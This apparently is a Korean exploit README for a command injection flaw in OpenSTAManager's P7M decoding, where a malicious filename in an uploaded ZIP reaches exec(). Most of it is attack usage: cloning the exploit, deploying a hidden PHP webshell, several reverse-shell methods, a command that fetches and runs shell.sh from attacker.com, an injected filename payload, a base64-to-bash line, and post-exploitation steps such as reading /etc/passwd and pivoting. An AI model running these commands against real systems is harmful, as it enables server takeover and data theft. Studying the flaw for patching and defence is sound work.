// src/Util/XML.php:100
public static function decodeP7M($file)
{
    $directory = pathinfo($file, PATHINFO_DIRNAME);
    $output_file = $directory.'/'.basename($file, '.p7m');

    exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);
}

git clone https://github.com/BridgerAlderson/CVE-2025-69212.git
cd CVE-2025-69212
pip install requests

# 자격 증명으로 로그인
python3 exploit.py -t http://target.com -u admin -p secret --check

# 기존 세션 쿠키 사용
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --check

# 플러그인 자동 탐지 및 취약점 확인
python3 exploit.py -t http://target.com -u admin -p secret --check

# 알려진 모듈/플러그인 ID 사용
python3 exploit.py -t http://target.com -u admin -p secret --check --module-id 14 --plugin-id 23

# 기본 디렉터리(files/)에 웹쉘 배포
python3 exploit.py -t http://target.com -u admin -p secret --webshell

# 사용자 정의 디렉터리 및 파일명
python3 exploit.py -t http://target.com -u admin -p secret --webshell --shell-dir uploads --shell-name .config.php

# 웹쉘 배포 + 대화형 셸
python3 exploit.py -t http://target.com -u admin -p secret --rce

# 이전 실행에서 생성된 기존 웹쉘 사용
python3 exploit.py -t http://target.com -u admin -p secret --webshell --rce

# Bash 리버스 셸 (기본, 매우 신뢰성 높음)
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444

# Python 리버스 셸
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method python

# Netcat with mkfifo
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc

# Netcat with -e flag
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc-e

# 명령어 실행 (출력 반환 없음)
python3 exploit.py -t http://target.com -u admin -p secret --cmd "id"

# 페이로드 다운로드 및 실행
python3 exploit.py -t http://target.com -u admin -p secret --cmd "cd tmp && wget http://attacker.com/shell.sh && bash shell.sh"

# Burp Suite 프록시 사용
python3 exploit.py -t http://target.com -u admin -p secret --webshell --proxy http://127.0.0.1:8080

# 요청 지연 시간 설정 (2초)
python3 exploit.py -t http://target.com -u admin -p secret --check --delay 2

# SSL 검증 건너뛰기
python3 exploit.py -t https://target.com -u admin -p secret --check -k

Target:
  -t, --target           대상 기본 URL

Authentication:
  -u, --user             로그인 사용자명
  -p, --password         로그인 비밀번호
  -c, --cookie           기존 PHPSESSID 값

Actions:
  --check                대상이 취약한지 확인
  --webshell             PHP 웹쉘 배포
  --rce                  웹쉘을 통한 대화형 셸
  --reverse-shell        리버스 셸 (LHOST LPORT)
  --cmd COMMAND          블라인드 명령어 실행

Shell Options:
  --shell-dir DIR        웹쉘 쓰기 디렉터리 (기본: files)
  --shell-name NAME      사용자 정의 웹쉘 파일명
  --method METHOD        리버스 셸 방식: bash, python, nc, nc-e

Plugin Detection:
  --module-id ID         OpenSTAManager 모듈 ID
  --plugin-id ID         importFE_ZIP 플러그인 ID

Network:
  --proxy URL            HTTP 프록시 URL
  -k, --no-ssl-verify    SSL 검증 비활성화
  --delay SECONDS        요청 간 지연 시간

invoice.p7m";INJECTED_COMMAND;echo ".p7m

openssl smime -verify -noverify -in "invoice.p7m";INJECTED_COMMAND;echo ".p7m" -inform DER -out "..."

echo <BASE64_PAYLOAD> | base64 -d | bash >/dev/null 2>&1 &

importFE_ZIP 플러그인을 통해 ZIP 업로드
    └── actions.php가 플러그인 핸들러로 전달
        └── ZipArchive::extractTo()로 파일 추출
            └── .p7m 파일 반복
                └── XML::decodeP7M($filename)
                    └── exec('openssl smime ... -in "'.$filename.'"')
                        └── 셸이 주입된 명령어를 해석

1. --check             → 마커 파일을 통해 RCE 확인
2. --webshell          → files/ 디렉터리에 PHP 셸 배치
3. --rce               → 대화형 명령어 실행
4. 열거               → id, cat /etc/passwd, ifconfig
5. 피벗               → 공격자에게 리버스 셸, 사후 공격